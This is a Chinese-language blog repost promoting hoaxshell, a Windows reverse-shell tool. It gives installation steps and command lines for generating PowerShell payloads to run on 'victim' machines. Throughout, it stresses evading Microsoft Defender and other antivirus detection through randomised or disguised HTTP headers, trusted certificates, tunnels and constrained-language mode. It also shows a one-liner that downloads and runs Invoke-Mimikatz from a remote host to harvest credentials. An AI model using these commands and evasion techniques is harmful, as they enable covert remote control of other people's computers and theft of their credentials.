神兵利器 - hoaxshell

admin 2022年11月2日02:03:15评论70 views字数 2773阅读9分14秒阅读模式

神兵利器 - hoaxshell

        hoaxshell 是一个非常规的 Windows 反向 shell,目前未被 Microsoft Defender 和可能的其他 AV 解决方案检测到(查看PoC 表以获取更多信息),仅基于 http(s) 流量。该工具易于使用,它生成自己的 PowerShell 有效负载并支持加密 (ssl)。

安装

git clone https://github.com/t3l3machus/hoaxshellcd ./hoaxshellsudo pip3 install -r requirements.txtchmod +x hoaxshell.py


用法

        重要提示:作为避免检测的一种手段,每次启动脚本时,hoaxshell 都会自动为进程中使用的自定义 http 标头的会话 ID、URL 路径和名称生成随机值。生成的有效负载仅适用于为其生成的实例。使用该-g选项绕过此行为并重新建立活动会话或使用新的 hoaxshell 实例重用过去生成的有效负载。


通过 http 的基本 shell 会话

        当你运行 hoaxshell 时,它会生成自己的 PowerShell 有效负载,供你复制并注入到受害者身上。默认情况下,为方便起见,有效负载采用 base64 编码。如果您需要原始负载,请执行“rawpayload”提示命令或使用-r参数启动 hoaxshell。在受害者上执行有效负载后,您将能够针对它运行 PowerShell 命令。


利用的有效载荷Invoke-Expression(默认)

sudo python3 hoaxshell.py -s <your_ip>


从文件写入和执行命令的有效负载

        用于-x提供要在受害机器上创建的 .ps1 文件名(绝对路径)。您应该在执行之前检查原始有效负载,确保您提供的路径是可靠的。

sudo python3 hoaxshell.py -s <your_ip> -x "C:Users\$env:USERNAME.localhack.ps1"


避免检测的推荐用法(通过 http)

        Hoaxshell 利用 http 标头传输 shell 会话信息。默认情况下,标头有一个随机名称,可以通过基于正则表达式的 AV 规则检测到。使用 -H 提供标准或自定义的 http 标头名称以避免检测。

sudo python3 hoaxshell.py -s <your_ip> -i -H "Authorization"sudo python3 hoaxshell.py -s <your_ip> -i -H "Authorization" -x "C:Users\$env:USERNAME.localhack.ps1"


加密的 shell 会话(https + 自签名证书)

        这个特定的有效载荷是一个危险信号,因为它以一个额外的代码块开始,指示 PowerShell 跳过 SSL 证书检查,这使得它变得可疑且易于检测,并且长度明显更长。不建议。

# Generate self-signed certificate:openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -days 365
# Pass the cert.pem and key.pem as arguments:sudo python3 hoaxshell.py -s <your_ip> -c </path/to/cert.pem> -k <path/to/key.pem>


具有可信证书的加密 shell 会话

        如果您拥有一个域,请使用此选项通过向您的 DN 提供 -s 以及受信任的证书 (-c cert.pem -k privkey.pem) 来生成更短且不易检测的 https 有效负载。

sudo python3 hoaxshell.py -s <your.domain.com> -t -c </path/to/cert.pem> -k <path/to/key.pem>


抓取会话模式

        如果您不小心关闭了终端、停电或其他情况,您可以在抓取会话模式下启动 hoaxshell,它会尝试重新建立会话,因为有效负载仍在受害机器上运行。

sudo python3 hoaxshell.py -s <your_ip> -g

重要提示:确保使用与您尝试恢复的会话相同的设置(http/https、端口等)启动 hoaxshell。


语言模式支持

        使用带有-cm(--constraint-mode) 选项的任何有效负载变体来生成有效负载,即使受害者被配置为在约束语言模式下运行 PS。通过使用此选项,您会牺牲一点反向 shell 的 stdout 解码精度。

sudo python3 hoaxshell.py -s <your_ip> -cm


神兵利器 - hoaxshell


使用隧道工具(Ngrok / LocalTunnel)通过 https 进行 Shell 会话

        利用隧道程序NgrokLocalTunnel通过安全隧道获取会话,克服没有静态 IP 地址或您的 ISP 禁止端口转发等问题。


使用-ngor--ngrok用于 Ngrok 服务器

sudo python3 hoaxshell.py -ng

用于-ltLocalTunnel--localtunnel服务器

sudo python3 hoaxshell.py -lt


如果您执行启动交互式会话的命令,shell 将会挂起。例子:

# this command will execute succesfully and you will have no problem: > powershell echo 'This is a test'
# But this one will open an interactive session within the hoaxshell session and is going to cause the shell to hang:> powershell
# In the same manner, you won't have a problem executing this:> cmd /c dir /a
# But this will cause your hoaxshell to hang:> cmd.exe

因此,例如,如果您想通过 hoaxshell 运行 mimikatz,则需要调用以下命令:

hoaxshell > IEX(New-Object Net.WebClient).DownloadString('http://192.168.0.13:4443/Invoke-Mimikatz.ps1');Invoke-Mimikatz -Command '"PRIVILEGE::Debug"'

长话短说,您必须小心不要运行在 hoaxshell powershell 上下文中启动交互式会话的 exe 或 cmd。


项目地址

https://github.com/t3l3machus/hoaxshell

原文始发于微信公众号(Khan安全攻防实验室):神兵利器 - hoaxshell

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年11月2日02:03:15
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   神兵利器 - hoaxshellhttp://cn-sec.com/archives/1383991.html

发表评论

匿名网友 填写信息